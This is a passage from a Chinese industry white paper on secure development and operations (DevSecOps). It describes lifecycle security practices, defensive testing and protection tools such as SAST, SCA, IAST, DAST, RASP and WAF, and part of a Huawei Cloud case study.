人员安全能力;4)进行运营安全数据反馈,形成安全闭环,不断优 化流程实践。 1. 管理制度 管理制度流程是推行研发运营安全的基础。在研发运营安全体系 规划和建设的过程中,首先是建立组织责任体系,制定完善的研发运 营安全管理体系和制度管理规范,明确管理制度和操作流程规范,建 立统一的安全基线。并将组织建设和人员制度管理纳入到全生命管理 周期中,对应的组织负责不同的安全职责与工作,进行安全培训,建 设组织级的安全文化以及对研发人员、测试人员、技术运营人员等进 行安全管理,包括第三方机构的人员,实现人人都为安全负责。 云计算开源产业联盟 研发运营安全白皮书 23 制度和操作规范包括 1)账号和密码管理,2)故障流程管理办法, 3)应急事件分级处理措施,4)人员行为安全规范,5)变更管理制 度,6)团队间安全协作流程和规范等。通过统一的流程管理平台, 保证各个流程环节能够被及时响应,各项任务能够被顺利传递、衔接。 安全培训针对所有研发、测试、运营人员以及第三方合作人员, 目前是为了提升安全意识,增强研发运营安全能力。培训内容主要包 括 1)安全管理制度,2)安全意识培训,3)安全开发流程,4)安全 编码规范,5)安全设计,6)安全测试等,并对于培训结果进行考核, 制定特殊岗位的上岗前考核机制,未通过相关考核的,不得从事向相 关岗位的工作。 2. 安全要求 安全要求明确研发运营安全的基线。安全要求通常包含安全管理 和技术安全要求,二者需要有机结合,不可分割。具体内容包括 1) 设立质量安全门限要求,具有项目级、团队级、组织级的质量安全门 限要求,根据业务场景、产品类型、语言类型划分质量安全门限要求, 智能化收集质量安全门限要求,根据业务场景等进行智能推荐;2) 项目角色以及权限管理,依据最小权限原则,建立资源、行为操作权 限管控,采用多因素认证机制保证访问安全,配置强密码策略,及时 为不需要权限的用户或用户组移除权限;3)安全审计,对于包括研 发、测试、运营的所有相关人员的所有操作行为进行审计,对于审计 记录进行保护,有效期内避免非授权的访问、篡改、覆盖及删除,对 于审计记录形成报表,方便查询、统计与分析,针对审计日志进行自 云计算开源产业联盟 研发运营安全白皮书 24 动化与人工审计,对于安全事件进行详细记录,对于高危操作进行重 点审计,进行告警通知,针对行业特点,业务特点进行定制化的安全 审计策略,对于审计记录进行统计分析、关联分析等;4)环境管理, 研发、测试、生产环境隔离,生产环境具有安全基线要求,保障环境 的安全,针对研发、测试环境有明确的权限管控机制,针对各类环境 的操作进行详细记录,具有可追溯性,定期执行生产环境的安全基线 扫描,及时发现和处理安全风险,研发、生产环境具有良好的抗攻击 与灾备容错能力,根据特定行业以及业务场景,对于测试环境接入安 全扫描,针对不同的业务场景以及架构,对于发布环境进行分类管理, 安全加固,生产环境具安全风险自动发现、分析和修复以及秒级容灾 容错切换能力;5)变更管理,有明确的进行变更条件与变更执行机 制,有明确的变更授权机制,对于变更请求进行统一分析、整理,确 定变更方案;6)开源及第三方组件管理,具有组织级的第三方组件 库,明确优选、可用、禁用的第三方组件列表,统一组件来源,具有 明确的第三方组件入库审批机制,第三方组件的引入应遵循最小化引 入原则,减少安全风险,开源及第三方组件与自研代码独立存放、目 录隔离,开源及第三方组件来源可追溯,开源组件追溯源社区,第三 方组件信息追溯到供应商,对开源软件的生命周期进行管理,记录开 源软件的生命周期信息,通过自动化工具及时向使用产品进行通知预 警;7)安全研发测试要求,具有组织级、团队级、项目级的安全编码 规范、安全测试规范。 3. 安全隐私需求分析与设计 云计算开源产业联盟 研发运营安全白皮书 25 安全前置到需求分析与设计阶段。安全隐私需求分析与设计是服 务应用研发运营整个生命周期的源头。具体内容包括:1)安全隐私 需求分析,应包括安全合规需求以及安全功能需求,针对安全合规需 求,应分析涉及的法律法规、行业监管等要求,制定合规和安全需求 基线,针对安全功能需求应根据业务场景、技术,具备相应的测试用 例,安全隐私需求来自法律法规、行业监管要求、公司安全策略、业 界最佳实践以及客户安全需求,具有明确的安全需求管理流程,能够 对安全需求的分析、评审、决策等环节进行有效管理,需求分解分配 可追溯;2)安全设计原则,3)确定质量安全门限要求,4)受攻击面 分析,分析应从系统各个模块的重要程度、系统各个模块接口分析、 攻击者视角分析攻击手段、方式、攻击路径、权限设置是否合理、攻 击难度等维度进行分析;5)威胁建模,具体行为包括确定安全目标、 分解应用程序、确定威胁列表;6)安全隐私需求设计知识库,具有 组织级安全需求知识分享平台,形成知识的复用,根据安全需求,得 出安全设计解决方案。 4. 研发与验证 研发验证是安全前置实践的关键所在,研发阶段安全是整体安全 左移实现关键,关注代码程序安全,验证阶段进行安全二次确认,避 免风险引入。为了确保上线服务应用没有安全风险,需要在研发及测 试过程中要进行全面的代码安全识别,具体内容包括:1)安全编码, 维护获得安全认可的工具、框架列表,使用获得认可的工具、框架, 具有统一的版本控制系统,将全部源代码纳入版本控制系统管理,版 云计算开源产业联盟 研发运营安全白皮书 26 本控制系统具有明确的权限管控机制,代码仓库具有实时代码安全扫 描机制,发现安全问题并提示修复,根据安全编码规范制定自定义安 全策略,进行自动化安全扫描,采用集成于 IDE 或其他形式提供的自 动化测试工具定时进行代码安全检测,针对版本控制系统有监控机制, 包括人员、时间、行为操作等,方便审计回溯,制定代码合入门禁机 制,确保代码合入质量,代码仓库支持线上代码动态扫描,发现安全 问题并提示修复;2)管理开源及第三方组件安全风险,对于第三方 组件根据风险级别,有明确的优选、可用、禁用机制,代码提交前采 用扫描工具进行第三方组件安全检查,管理项目中的第三方组件许可 证以及安全漏洞等风险,针对第三方组件安全风险,推荐安全解决方 案;3)变更管理,对于变更操作进行统一管理,明确记录变更信息, 包括但不限于变更人员、变更时间、变更内容,针对重点变更内容进 行评审,变更操作具有明确的审批授权机制,重大变更操作具有分级 评审机制,具有统一的变更管理系统,变更操作覆盖需求设计到发布 部署全流程;4)代码安全审查,制定明确的源代码安全检视方法, 开展源代码安全审计活动,采用工具与人工核验相结合的方式进行代 码安全审计,对于威胁代码及时通知研发人员进行修复,对高风险源 代码有分级审核机制,对于审计发现的威胁代码自动通知研发人员, 进行修复,根据行业特点、业务场景定制化开发代码安全审查工具, 制定安全审查策略;5)开源及第三方组件确认,采用工具与人工核 验的方式确认第三方组件的安全性、一致性,根据许可证信息、安全 漏洞等综合考虑法律、安全风险;6)配置审计,具有明确的配置审 云计算开源产业联盟 研发运营安全白皮书 27 计机制,配置审计包括但不限于配置项是否完备、配置项与前期安全 需求的一致性、配置项版本的描述精确,与相关版本一致制,配置项 的每次变更有记录,可以追溯到具体修改时间和修改人,产品依赖的 自研模块、平台组件、开源源码、开源二进制、第三方软件被准确的 定义和记录,对于明确统一的合规需求以及安全需求,进行自动化配 置审计;7)安全隐私测试,具有明确的安全隐私测试要求,作为发 布部署的前置条件,测试数据不包含未经清洗的敏感数据,基于安全 隐私需求,有相应的安全隐私测试用例,并进行验证测试,单个测试 用例的执行不受其他测试用例结果的影响,测试数据、用例应统一管 理,有明确的权限管控机制,测试用例、测试数据应定期更新,满足 不同阶段、环境的测试要求,具备自动化安全测试能力,对于测试结 果有集中汇总与展示的能力,持续优化安全测试策略,持续降低误报 率与漏报率,测试过程有记录可查询,测试设计、执行端到端可追溯, 基于不同业务场景以及系统架构,进行安全测试智能化推荐与测试策 略智能优化;8)漏洞扫描,采用主流的安全工具进行漏洞扫描,漏 洞扫描结果有统一管理与展示平台,漏洞扫描的结果及时反馈研发人 员,进行漏洞修复,具有自身以及第三方漏洞库,对于漏洞库定期更 新,基于漏洞信息进行关联与聚合分析;9)模糊测试,采用主流的 模糊测试工具,自动化进行模糊测试,模糊测试的结果及时反馈研发 人员,进行修复,持续改进模糊测试策略;10)渗透测试,引入人工 渗透测试机制,针对系统架构、应用程序、网络层面漏洞进行渗透测 云计算开源产业联盟 研发运营安全白皮书 28 试,根据行业特点与业务场景实施渗透测试,范围应覆盖重要安全风 险点与重要业务系统,有明确的渗透测试计划与管理机制。 5. 发布部署 安全发布部署是服务应用上线前的最后一道安全保障,发布阶段 确保服务安全上线运营,具体内容包括:1)发布管理,有相应的发 布安全流程与规范,发布操作具有明确的权限管控机制,发布应具有 明确的安全检查节点,根据安全节点检查结果,有相关告警机制,针 对发布流程具有安全回退、备份机制,制定发布策略,通过低风险的 发布策略进行发布,如灰度发布或者蓝绿发布等方式,发布流程实现 自动化,一键发布,根据安全节点检查结果,发现高危安全问题,自 动阻断发布流程,对于发布流程具有监控机制,出现问题自动化回滚, 建立稽核机制,发布前需要通过稽核部门的独立检查;2)安全性检 查,进行病毒扫描以及数字签名验证等完整性校验,校验结果作为发 布的前置条件;3)事件响应计划,具有预先的事件响应计划,包括 但不限于安全事件应急响应流程,安全负责人与联系方式。 6. 上线运营 运营阶段安全保障服务系统的稳定运行。为确保服务应用上线运 营安全,具体措施内容包括:1)安全监控,具有运营阶段安全监控 机制,覆盖全部业务场景,抵御常见威胁攻击的能力,如 DDoS 攻击, 暴力破解,病毒攻击,注入攻击,网页篡改,具有统一的安全监控平 台,对于威胁攻击处理能够统一监控并可视化展示,对于监控安全事 云计算开源产业联盟 研发运营安全白皮书 29 件进行分级展示,具有智能化安全监控平台,对于监控事件统一关联 分析,智能识别潜在的安全风险,实现智能化用户行为分析以及资产 数据的安全画像;2)安全运营,定期进行常规安全检查与改进,运 营人员有明确的权限管控机制与管理规范,监控运营数据加密存储, 存储与备份机制符合安全要求,保证全生命周期安全,对于安全事件 有多种方式的告警机制,通过统一平台对于安全事件处置全流程进行 跟踪,具备从外部接收相关漏洞通告和安全情报的能力,对于自动化 运维工具进行安全加固并具备自动化监控机制,及时发现工具的操作 安全风险,对于运营过程中的安全日志等数据进行自动化分析,发现 安全风险并告警,可建设统一的安全运营中心,分布于不同位置的云 平台接入统一运营中心,将管理数据统一进行处理,对于监控数据进 行统计、展示,具备持续的安全漏洞、安全信息外部反馈机制,对于 运营过程中的安全日志等数据进行智能化关联分析,发现潜在安全风 险并告警,根据漏洞信息、业务场景等智能化推荐安全解决方案,进 行智能化处置;3)风险评估,制定和实施安全风险评估计划,定期 进行安全测试与评估,安全风险评估、测试范围应覆盖重要业务系统、 应用,建立渗透测试流程,根据渗透测试流程,针对系统架构、应用 程序、网络层面漏洞进行安全测试,制定漏洞奖励计划,鼓励第三方 渗透测试,安全风险评估、测试范围应覆盖全业务系统,建立智能化 的风险评估体系,对于生产环境中的安全风险进行分析、告警;4) 应急响应,具有明确的应急事件响应流程,基于应急事件进行分级、 分类处理,具备专门的应急响应安全团队,有统一的技术平台,对于 云计算开源产业联盟 研发运营安全白皮书 30 应急事件进行全流程跟踪与可视化展示,对于应急事件及时复盘,形 成相关处理知识库,对于应急事件处理具有具体的量化指标,包括但 不限于威胁处理时间、响应时间,定期开展应急事件演练,对于应急 响应事件可以实现一定程度上的自动化处理,对于应急事件具有全面 的自动化以及一定程度智能化处理能力;5)升级与变更管理,有明 确的升级与变更操作制度流程,升级变更操作有明确的权限管控机制, 升级变更操作有明确的审批授权机制,对于升级变更操作有明确的操 作信息记录,包括但不限于变更升级内容、变更升级时间,变更升级 操作对于用户无感知,对于用户有影响的,需要提前告知沟通,有相 应的回滚机制,变更升级操作与版本系统同步,确保版本信息一致, 对于重大变更升级有分级评审机制,实现自动化变更升级与回滚,变 更升级操作有相应监控机制,出现问题自动化回滚;6)服务与技术 支持,有明确的服务与技术支持方式,通过电话等方式对于用户反馈 问题进行反馈、回访,对于监管部门、运营商提出的安全问题及时响 应,对于用户反馈问题有分级处理机制,及时对于处理结果进行反馈, 说明处理结果、影响程度等,对于反馈问题分类处理、记录、归档, 方便知识的反馈、复用,针对安全类问题具有专属反馈通道,确保安 全问题的及时响应;7)运营反馈,定期收集运营过程中的安全问题, 进行反馈,对于反馈安全问题分类、分级处理,完善前期安全需求设 计、安全研发等流程,具有明确的反馈改善管理流程与度量机制,有 统一的运营安全问题反馈平台,统一收集反馈的安全问题,分类、分 级处理,反馈全流程跟踪,对于收集的安全问题自动化实现汇总分析, 云计算开源产业联盟 研发运营安全白皮书 31 优化从需求设计到研发运营整个流程,对于反馈安全问题实现智能化 关联分析,发现潜在安全问题,优化研发运营全流程。 7. 停用下线 软件应用服务停用下线阶段安全实现研发运营安全体系闭环。服 务停用下线是研发运营安全体系的最后一环,指系统在终止服务之后, 应制定制定服务下线方案与计划,保护用户的隐私安全与数据安全, 具体要求为明确隐私保护合规方案,确保数据留存符合最小化原则, 满足国家相关规范要求。 (二)研发运营安全解决方案同步发展 研发运营安全的实践落地离不开自动化安全技术工具的持续发 展。传统研发运营模式中,研发与安全割裂,主要是因为安全影响研 发效率,通过自动化安全工具、设备,将安全融入软件应用服务的全 生命周期,适应当前的敏捷开发等多种模式是实现研发运营安全的必 要途径。同时,研发运营安全解决方案关注痛点安全问题,如安全要 求、合规要求以及目前热点的个人数据和隐私保护等问题,使用安全 解决方案可以更好的避免此类安全问题的发生,提升软件应用服务的 安全性。 本白皮书中涉及的研发运营安全相关技术工具主要包括:研发验 证阶段的静态应用程序安全测试(Static Application Security Testing ,以下简称 SAST),动态应用程序安全测试(Dynamic Application Security Testing,以下简称 DAST),交互式应用程序 云计算开源产业联盟 研发运营安全白皮书 32 安全测试(Interactive Application Security Testing,以下简称 IAST),软件组成分析(Software Composition Analysis,以下简 称 SCA ) 以 及 安 全 运 营 阶 段 的 实 时 应 用 自 我 保 护 ( Runtime Application Self-protection,以下简称 RASP)和 Web 应用防火墙 (Web Application Firewall,以下简称 WAF)。下图 8 为具体对应 阶段说明。 图片来源:中国信息通信研究院 图 8 研发运营安全解决方案阶段对应图 1. 静态应用程序安全测试 静态应用程序安全测试(SAST)是指不运行被测程序本身,仅通 过分析或者检查源程序的语法、结构、过程、接口等来检查程序的正 确性。源代码静态分析技术的发展与编译技术和计算机硬件设备的进 步息息相关,源代码安全分析技术多是在编译技术或程序验证技术的 基础上提出的,利用此类技术能够自动地发现代码中的安全缺陷和违 背安全规则的情况。目前主流的分析技术包括:1)词法分析技术, 只对代码的文本或 Token 流与已知归纳好的缺陷模式进行相似匹配, 不深入分析代码的语义和代码上下文。词法分析检测效率较高,但是 只能找到简单的缺陷,并且误报率较高。2)抽象解释技术,用于证 明某段代码没有错误,但不保证报告错误的真实性。该技术的基本原 理是将程序变量的值映射到更加简单的抽象域上并模拟程序的执行 云计算开源产业联盟 研发运营安全白皮书 33 情况。因此,该技术的精度和性能取决于抽象域对真实程序值域的近 似情况。3)程序模拟技术,模拟程序执行得到所有执行状态,分析 结果较为精确,主要用于查找逻辑复杂和触发条件苛刻的缺陷,但性 能提高难度大。主要包括模型检查和符号执行两种技术,模型检查将 软件构造为状态机或者有向图等抽象模型,并使用模态/时序逻辑公 式等形式化的表达式来描述安全属性,对模型遍历验证这些属性是否 满足;符号执行使用符号值表示程序变量值,并模拟程序的执行来查 找满足漏洞检测规则的情况。4)定理证明技术,将程序错误的前提 和程序本身描述成一组逻辑表达式,然后基于可满足性理论并利用约 束求解器求得可能导致程序错误的执行路径。该方法较为灵活性,能 够使用逻辑公式方便地描述软件缺陷,并可根据分析性能和精度的不 同要求调整约束条件,对于大型工业级软件的分析较为有效。5)数 据流分析技术,数据流分析技术基于控制流图,按照某种方式扫面控 制流图的每一条指令,试图理解指令行为,以此判断程序中存在的威 胁漏洞。数据流分析的通用方法是在控制流图上定义一组方程并迭代 求解,一般分为正向传播和逆向传播,正向传播就是沿着控制流路径, 状态向前传递,前驱块的值传到后继块;逆向传播就是逆着控制流路 径,后继块的值反向传给前驱块。 静态应用程序安全测试(SAST)使用功能主要包括:1)代码提 交、集成,在用户 IDE 环境中集成代码静态检测插件进行代码检查, 对发现的问题能够直接显示在 IDE 上。将代码提交到远程仓库时,触 发代码检查,系统会先去拉取代码,再执行代码扫描,扫描时支持全 云计算开源产业联盟 研发运营安全白皮书 34 量与增量代码扫描方式。构建时,支持每日定时设置,每天执行代码 检查,同时也支持根据需要手动触发检查。2)风险展示与处理,扫 描结束后,会在代码扫描系统及代码仓库上展示整体风险趋势变化, 包括新增、修复、遗留告警、项目代码质量状态展示等,同时支持各 个告警详情查看,包括风险等级、错误代码片段、问题描述、修复指 导等。支持用户对告警进行标记,包括确认、误报、设计如此等多种 场景。3)可扩展性,支持用户自定义规则扫描,也支持单个告警/批 量告警/路径屏蔽等功能,便于提高与业务场景的契合度。 目前静态应用程序安全测试(SAST)主要厂商包括国外的 Synopsys、Checkmarx、Veracode 等,以及国内的奇安信、默安科技 等。 2. 软件组成分析 软件组成分析(SCA)主要针对开源组件,通过扫描识别开源组 件,获取组件安全漏洞信息、许可证等信息,避免安全与法律法规风 险。开源软件相比于闭源软件,带来了如获取便捷、降低成本等诸多 好处,但相比于闭源软件,由于开源软件的所有权和使用权分离,如 果使用不当,会导致最终的使用用户被迫承受风险。因此在使用中用 户仍然需要注意遵循相关规则,例如遵循开源许可证的相关要求和监 管条例、甚至需要公开自有的商业代码等,对引入和使用过程中潜在 的安全风险进行有效监管。 云计算开源产业联盟 研发运营安全白皮书 35 目前来看,开源软件主要涉及的安全风险为以下三点:不清楚具 体引用或使用了哪些开源组件、对开源许可证引入的知识产权和合规 风险、开源软件自身的安全风险。 现有的开源扫描技术分为五种,1)通过进行源代码片段式比对 来识别组件并识别许可证类型;2)对文件级别提取哈希值,进行文 件级哈希值比对,若全部文件哈希值全部匹配成功则开源组件被识别; 3)通过扫描包配置文件读取信息,进行组件识别从而识别组件并识 别许可证类型;4)对开源项目的文件目录和结构进行解析,分析开 源组件路径和开源组件依赖;5)通过编译开源项目并对编译后的开 源项目进行依赖分析,这种方式可以识别用在开源项目中的开源组件 信息。 上述 5 种识别技术的识别速度是依次增快的,并且组件物料清单 的完整性也是依次增高的。源代码片段识别出的开源组件的数量较多, 但因为源代码片段比对受行数和关键词位置影响,识别出的开源组件 的误报率通常较高,且识别出的开源组件需要手动确认,对操作人员 的技术能力要求较高;其他 3 类识别出的开源组件数量通常少于源代 码片段识别,但因为哈希值的不变性,其识别出的开源组件的误报率 较低,同时相比于开源代码片段识别,由于源代码被改写生成哈希值 也会随之改变,因此漏报率通常比源代码片段识别高。 主流的安全漏洞检测原理为两种,第一种方法是依据获取到的开 源组件名称和版本号信息,在公开的 CVE 或 CNVD 库里去查寻该版本 曾经出现过的漏洞;第二种方法是通过程序分析技术,获取到开源组 云计算开源产业联盟 研发运营安全白皮书 36 件名称、版本信息和引用的函数,依据企业的商业漏洞库去匹配所引 用的函数是否会造成漏洞。方法二的准确性远远高于方法一,但是实 现难度也非常大。 针对开源组件自身安全风险,与传统的软件漏洞修复流程不同的 是并不对开源软件做漏洞修补工作,开源软件漏洞治理通常会依靠扫 描技术发现存有安全漏洞的开源软件版本号,与当前最新版本号做匹 配,进行替换。因此开源软件的版本号管理、漏洞更新及跟踪工作也 十分重要。 目前软件组成分析(SCA)主要厂商包括国外的 Synopsys、Micro Focus、WhiteHat Security 等,以及国内的奇安信、棱镜七彩等。 3. 交互式应用程序安全测试 交互式应用程序安全测试(IAST)是 2012 年 Gartner 公司提出 的一种新的应用程序安全测试方案,通过代理和在服务端部署的 Agent 程序,收集、监控 Web 应用程序运行时请求数据、函数执行, 并与扫描器端进行实时交互,高效、准确的识别安全漏洞,同时可准 确确定漏洞所在的代码文件、行数、函数及参数。 交互式应用程序安全测试(IAST)主要在三方面做工作:流量采 集、Agent 监控、交互扫描。1)流量采集,指采集应用程序测试过程 中的 HTTP/HTTPS 请求流量,采集可以通过代理层或者服务端 Agent。 采集到的流量是测试人员提交的带有授权信息有效数据,能够最大程 度避免传统扫描中因为测试目标权限问题、多步骤问题导致扫描无效; 同时,流量采集可以省去爬虫功能,避免测试目标爬虫无法爬取到导 云计算开源产业联盟 研发运营安全白皮书 37 致的扫描漏水问题。2)Agent 监控,指部署在 Web 服务端的 Agent 程 序,一般是 Web 服务编程语言的扩展程序,Agent 通过扩展程序监控 Web 应用程序性运行时的函数执行,包括 SQL 查询函数、命令执行函 数、代码执行函数、反序列化函数、文件操作函数、网络操作函数, 以及 XML 解析函数等有可能触发漏洞利用的敏感函数。3)交互扫描, 指 Web 应用漏洞扫描器通过 Agent 监控辅助,只需要重放少量采集到 的请求流量,且重放时附带扫描器标记,即可完成对 Web 应用程序漏 洞的检测。例如在检测 SQL 注入漏洞时,单个参数检测,知名开源 SQL 注入检测程序 SQLMAP 需要发送上千个 HTTP 请求数据包;交互扫描只 需要重放一个请求,附带上扫描器标记,Agent 监控 SQL 查询函数中 的扫描器标记,即可判断是否存在漏洞,大大减少了扫描发包量。 目前交互式应用程序安全测试(IAST)主要厂商包括国外的 Synopsys、Veracode 等,以及国内的悬镜安全、默安科技等。 4. 动态应用程序安全测试 动态应用程序安全测试(DAST)技术在测试或运行阶段分析应用 程序的动态运行状态。它模拟黑客行为对应用程序进行动态攻击,分 析应用程序的反应,从而确定该应用是否易受攻击。 以 Web 网站测试为例对于动态应用程序安全测试进行介绍,主要 包括三个方面的内容:1)信息收集,测试人员在测试开始前,需要 收集待测试网站的全部 URL,包括静态资源和动态接口等,每一条 URL 需要包含路径和完整的参数信息。测试人员收集 URL 的方式包括但不 限于:(1)从网站源代码中获取 URL 的路径和参数信息,(2)编写 云计算开源产业联盟 研发运营安全白皮书 38 网络爬虫对目标网站进行爬取,获得网站每一个页面中包含的全部 URL 信息。网络爬虫不仅要具备静态页面的爬取和分析能力,同时也 要具备对 Web2.0 时代新型的动态展示页面的爬取和分析能力。此外, 网络爬虫在最终输出结果前,应当具备以某种规则对 URL 列表进行去 重的能力,(3)在目标网站的服务器上安装 Web 流量采集工具,该 工具会记录该网站所有的 Web 请求。测试人员模拟正常访问把目标网 站的所有功能都是访问一遍,随后从流量采集工具中导出全部请求信 息,从中提取出网站的 URL 列表。除了收集 URL,测试人员还要解决 目标网站访问权限的问题。如果网站的部分功能需要账号登录后才能 访问,则测试人员需准备一套或多套能满足测试要求的账号密码信息, 并将信息传递到安全测试工具中,且保证测试过程产生的数据包都有 携带登录态信息。2)测试过程,测试开始前,测试人员应当将测试 所需的 URL 列表导入到测试工具中。导入的方式包括但不限于:(1) 手工从测试工具的管理页面逐条添加,(2)测试工具本身提供 API 接 口,测试人员可以通过编写程序调用该 API 接口进行提交,(3)测 试人员将 URL 集合按照一定的格式写入到文件中,然后上传到测试工 具的服务器上,使得后者可以读取。测试工具需要提供“检测风险项” 的选择列表,测试人员可根据测试计划选择不同的风险检测项。测试 工具在测试过程中,应当对访问目标网站的速度进行控制,保证目标 网站不会因为同一时刻的请求数过高,导致网站响应变慢或崩溃。测 试人员在设定测试任务的基本信息时,应当根据目标网站的性能情况 填入“每秒请求数”的最大值。测试工具在测试过程中应当保证每秒 云计算开源产业联盟 研发运营安全白皮书 39 发送请求的总数不超过该数值。3)测试报告,在安全测试各步骤都 完成后,输出测试报告。测试报告一般包含总览页面,内容包括:(1) 根据测试过程产生的各种数据,输出目标网站安全性的概要性结论; (2)测试过程发现的总漏洞数,以及按照不同安全等级维度进行统 计的漏洞数据。测试报告应详细列出每一项风险的详细信息。详细信 息包括:风险名称、风险等级、修复方案等关于风险的基本信息,证 明风险存在的证据,包括复现风险情况的步骤和方法,测试过程中被 用于证实存在风险的原始请求数据包和网站响应数据包,以及在原始 请求数据包中指出触发漏洞的关键点。 目前动态应用程序安全测试(DAST)主要厂商及工具包括国外的 Micro Focus Fortify WebInspect、Veracode 等,以及国内的各类 安全漏洞扫描工具等。 5. 实时应用自我保护 实时应用自我保护(RASP)是一种运行时应用自我保护程序,可 自身注入到应用程序中,与应用程序融为一体,实时监测、阻断攻击, 使程序自身拥有自保护的能力,并且应用程序无需在编码时进行任何 的修改,只需进行简单的配置即可。通过 RASP 可以实现对关键函数 的监控,获取关键函数的参数信息(如对数据库操作进行监控)。 通过 RASP 的基本原理是注入到被保护的应用中,替换关键函数, 获取到应用运行时的上下文,根据运行时上下文或者敏感操作,对攻 击进行精准的识别或拦截。实时采集 Web 应用的高风险行为,在安全 测试阶段可以辅助测试人员提前发现安全漏洞,在业务线上运行阶段 云计算开源产业联盟 研发运营安全白皮书 40 可以实时检测到外部攻击和漏洞利用,可检测的风险包括 SQL 注入、 命令注入、代码执行、上传漏洞、文件读取等。同时通过特征规则、 上下文语义分析及第三方安全产品数据关联分析等多种安全模型来 提升检测准确率,相较于传统 Web 应用安全产品,RASP 从海量的攻 击中排除掉了大量的无效攻击,聚焦发现真实的安全威胁。 目前实时应用自我保护(RASP)主要厂商以及工具包括国外的 Micro Focus、Prevoty、Waretek,以及国内的安百科技的灵犀、百 度安全的 OpenRasp 等。 6. Web 应用防火墙 Web 应用防护墙(WAF)作为 Web 安全主要防护手段,是通过执行 一系列针对 HTTP/HTTPS 的安全策略来专门为 Web 应用提供保护,主 要用于防御针对网络应用层的攻击,如 SQL 注入、XSS 跨站脚本攻击、 文件包含攻击、CC 拒绝服务攻击等。 WAF 一般部署在 web 服务器前面或者作为一个模块嵌入在 web 服 务器里面,对请求的入流量和出流量均可以进行过滤检测或处理。1) 请求入流量方向上,在用户请求到达应用程序前对用户请求进行检测 过滤,采用基于规则的模式特征匹配或基于语义理解和机器学习的检 测方案,分析并校验每个用户请求的网络包,拦截恶意攻击流量,放 过正常请求,确保每个用户请求有效且安全。2)出流量响应方向上, 在响应到达客户端之前对响应请求内容进行内容检测,可以准确防护 恶意攻击及避免敏感信息泄漏等。同时,在处理响应时通过下发 JS 云计算开源产业联盟 研发运营安全白皮书 41 方式,结合风控大数据,解决一些风控场景需求,如防刷,打击羊毛 党等。 研发运营安全体系中,在预发布阶段流水线中加入检测是否接入 WAF 防护的质量红线,保证业务服务上线环境处于 WAF 安全防护状态, 在安全运营响应阶段 WAF 作为重要的安全能力工具对线上攻击请求 进行实时防护。以默认安全为原则,WAF 在和 Web 接入层直接交互结 合后,业务通过 Web 接入层开放外网 Web 服务时,就默认带有 WAF 防 护能力,可以及时有效的阻断实际产生的某些攻击尝试和行为。WAF 的所有基础配置和策略下发可以由 WAF 运营人员统一实施,无需业务 介入,就默认带有基础防护能力。同时,WAF 提供防护能力开放平台, 用户可以在 WAF 开放平台自助便捷操作,实现场景化定制防护需求。 目前 Web 应用防火墙(WAF)主要厂商包括国外的 Imperva、Akamai、 Cloudflare、AWS 等,以及国内的阿里云、腾讯云、奇安信、绿盟等。 四、 研发运营安全发展趋势展望 随着信息化数字化的不断发展,软件应用服务自身安全重视程度 也将逐步增加,研发运营安全体系将会同步完善,具体表现为: 研发运营安全管理体系将更加完善。管理制度流程是实践研发运 营安全的基础,随着研发运营安全理念的不断深化,将会推动相应安 全管理体系的不断完善。 研发运营安全体系将会推动安全技术、工具的进一步发展。SDL 理念推出发展至今已经 10 余年,仅靠管理制度、安全人员实现研发 运营安全难度是巨大的,安全技术、解决方案的出现将会促进研发运 云计算开源产业联盟 研发运营安全白皮书 42 营安全的实践落地。相应的,企业在实践研发运营安全的过程中,对 于相关安全技术、工具也会提出新的能力要求,进一步推动安全技术 的发展。 研发运营安全将增强安全可信生态布局。安全可信生态布局具体 指两个方面,1)企业合作共建安全可信生态,软件应用服务涉及各 个行业和领域,随着研发运营安全意识的不断提升,各行业领域领军 企业将合作共建安全可信生态,满足不同用户、不同行业、不同场景 的安全可信需求;2)对于供应链安全要求将会越来越高,软件应用 服务涉及众多第三方开源及商用组件,供应链的安全对于软件应用服 务自身安全可信至关重要,研发运营安全的持续推进将会提升整体供 应链的安全性要求。 云计算开源产业联盟 研发运营安全白皮书 43 附录:研发运营安全优秀实践案例 (一)华为云可信研发运营案例 1)当前研发运营安全的痛点 云市场面临的主要威胁:数据泄露,身份、凭证和访问管理不足, 不安全的接口和应用程序编程接口(API),系统漏洞,账户劫持,恶 意的内部人员,高级持续性威胁(APT),数据丢失,尽职调查不足, 滥用和恶意使用云服务,拒绝服务(DoS),共享的技术漏洞等; 企业上云的关键安全诉求:业务连续不中断,如防网络攻击,防 黑客入侵,法律遵从、合规等;运维全程可管控,如配置安全策略, 风险识别和处置,操作可审计、追溯等;数据保密不扩散,如防外部 窃取,内部非授权员工不可见,云服务商不可见等。 2)研发运营安全的落地实现 华为云在研发运营生命周期中,可信是云服务最重要也是最根本 的要求,建立并完善信任机制是业务第一优先级。在充分分析业界对 可信的解读并广泛听取客户反馈后,华为云认为云服务的可信应该包 括安全、隐私、合规、韧性、透明五个基本特征。 (1)管理制度 华为云产品团队(开发、运营、运维、安全等)作为产品可信的 第一责任部门,在服务产品生命周期的各项活动中落实可信要求,构 建产品的可信能力,打造“过程可信”+“结果可信”的高质量产品, 同时进行自查自纠,主动发现问题并进行改进。 云计算开源产业联盟 研发运营安全白皮书 44 在可信战略和框架指引下,从公司到华为云各级部门都致力于建 立可信的文化,牵引全员可信意识的转变,把可信根植于企业的各个 方面。建立软件工程可信胜任的管理要求,开展对软件业务主管、 Committer、软件架构师、开发工程师、和测试工程师等角色的资质 管理及选拔、调整。软件工程师需要学习可信的要求并通过考试,使 其具备编写可信的高质量代码的能力,以确保实现产品可信的要求。 (2)安全要求 华为云在内部 DevSecOps 实践的基础上,推出了商业化的 DevCloud 软件开发产品,除了对外提供服务,DevCloud 也是华为云 研发运维团队使用的持续集成、持续交付平台,它将规范、基线、软 件/API、用例,工具固化到 DevSecOps 流水线,形成自动化、可视 化的服务全生命周期管理模式。 (3)安全隐私需求分析与设计 内嵌可信的开发运维流程。在过去 20 年里,IPD 研发流程帮助 华为将 ICT 产品的质量提升到了新的高度;今天,为了适应云环境下 快速交付服务的需求,华为云在吸收业界先进理念的基础上,持续改 进开发和运维流程,形成了开发、运维、安全一体化的 DevSecOps 可 信软件工程实践。 华为云的 DevSecOps 可信软件工程实践通过工具和技术规范实 现了流程的固化,使过程和结果透明可见、从故障现象到模块代码可 追溯,从而实现云服务全生命周期的过程可信。 云计算开源产业联盟 研发运营安全白皮书 45 图 1 华为云 DevSecOps 生命周期模型 全生命周期的数据安全。华为云以区域为单位提供服务,区域即 是客户自主选择内容数据的存储位置,华为云未经授权绝不会跨区域 移动客户的内容数据;通过不同粒度的访问控制机制,确保客户只能 访问到自己的数据。具体体现为 